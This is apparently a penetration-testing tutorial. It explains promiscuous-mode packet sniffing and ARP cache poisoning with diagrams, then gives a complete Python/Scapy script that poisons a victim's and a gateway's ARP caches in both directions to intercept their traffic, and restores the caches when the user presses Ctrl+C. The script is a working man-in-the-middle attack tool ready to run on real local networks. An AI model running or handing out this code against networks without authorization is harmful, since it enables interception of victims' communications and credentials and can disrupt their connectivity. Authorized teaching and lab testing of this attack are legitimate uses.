1. Packet Sniffing & Kernel-Level BPF Filtering
A packet sniffer intercepts and logs network traffic passing over a digital network. By default, a Network Interface Card (NIC) verifies the Layer 2 destination hardware MAC address of incoming frames; if the destination MAC does not match the local adapter or the broadcast address (ff:ff:ff:ff:ff:ff), the frame is discarded at the hardware level.
To inspect all network conversations across a collision domain or switched network under ARP redirection, the interface must be placed into Promiscuous Mode:
Normal NIC Mode:
[ Incoming Frame (Dst MAC: 00:AA:BB:CC:DD:EE) ] ---> [ Drop (Mismatch) ]
Promiscuous NIC Mode:
[ Incoming Frame (Dst MAC: 00:AA:BB:CC:DD:EE) ] ---> [ Pass to OS Kernel Buffer ]To eliminate user-space Python overhead, Scapy integrates the Berkeley Packet Filter (BPF) bytecode engine. BPF expressions (such as tcp port 80 or udp port 53) compile directly into kernel-level instructions, discarding irrelevant packets before context-switching into Python runtime memory!
2. Man-in-the-Middle Mechanics: ARP Cache Poisoning
Switched Ethernet networks isolate traffic: switches maintain a CAM (Content Addressable Memory) table mapping MAC addresses to individual physical ports. To intercept communications between a victim workstation and the default gateway router, the attacker must subvert this mapping via ARP Cache Poisoning:
Before Poisoning:
[ Victim: 192.168.1.50 ] <===================> [ Gateway: 192.168.1.1 ]
(Victim ARP: 192.168.1.1 -> Router_MAC)
After Bidirectional Poisoning:
[ Victim: 192.168.1.50 ] [ Gateway: 192.168.1.1 ]
\ ^
\ (Fake Gateway ARP) (Fake Victim ARP) /
v /
[ Attacker Machine: 192.168.1.100 (Forwarding On) ]ARP is completely stateless and unauthenticated. If an attacker repeatedly transmits unsolicited ARP replies asserting:
- To the Victim: "192.168.1.1 is at Attacker_MAC"
- To the Gateway: "192.168.1.50 is at Attacker_MAC"
Both targets overwrite their local kernel ARP caches with the attacker's MAC address. All subsequent Layer 3 IP traffic between the victim and the Internet is routed directly to the attacker!
3. Bidirectional ARP Spoofing Engine with Auto-Restoration
A critical requirement in professional penetration testing is clean session restoration. If an exploit script exits without restoring original ARP bindings, the victim machine loses Internet connectivity, causing denial-of-service and alerting system administrators:
#!/usr/bin/env python3
"""
Bidirectional ARP Cache Poisoner with Signal Handling & Clean Restoration
Author: Yehia Elghaly / Offensive Security Engineering
"""
import sys
import time
import signal
from scapy.all import ARP, Ether, send, srp
def get_mac(ip_address: str) -> str:
"""Resolves IP address to physical MAC hardware address."""
resp, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip_address), timeout=2, verbose=False)
for _, r in resp:
return r.hwsrc
sys.exit(f"[-] Fatal: Unable to resolve MAC address for {ip_address}")
def restore_network(gateway_ip: str, gateway_mac: str, target_ip: str, target_mac: str) -> None:
"""Restores legitimate ARP cache bindings across both parties."""
print("\n[*] Restoring legitimate ARP tables across subnet...")
# Send genuine ARP replies with true source MACs
send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac), count=5, verbose=False)
send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip, hwsrc=target_mac), count=5, verbose=False)
print("[+] Network topology restored. Exiting cleanly.")
def poison_targets(gateway_ip: str, gateway_mac: str, target_ip: str, target_mac: str) -> None:
"""Continuously injects spoofed ARP replies."""
# op=2 signifies ARP Reply (is-at)
packet_target = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip)
packet_gateway = ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip)
print("[+] ARP Poisoning active. Intercepting traffic (Ctrl+C to abort)...")
while True:
send(packet_target, verbose=False)
send(packet_gateway, verbose=False)
time.sleep(2.0)
def main():
if len(sys.argv) < 3:
sys.exit(f"Usage: {sys.argv[0]} <Target_IP> <Gateway_IP>")
target_ip = sys.argv[1]
gateway_ip = sys.argv[2]
target_mac = get_mac(target_ip)
gateway_mac = get_mac(gateway_ip)
# Register SIGINT (Ctrl+C) handler to guarantee restoration
def sigint_handler(signum, frame):
restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
sys.exit(0)
signal.signal(signal.SIGINT, sigint_handler)
poison_targets(gateway_ip, gateway_mac, target_ip, target_mac)
if __name__ == "__main__":
main()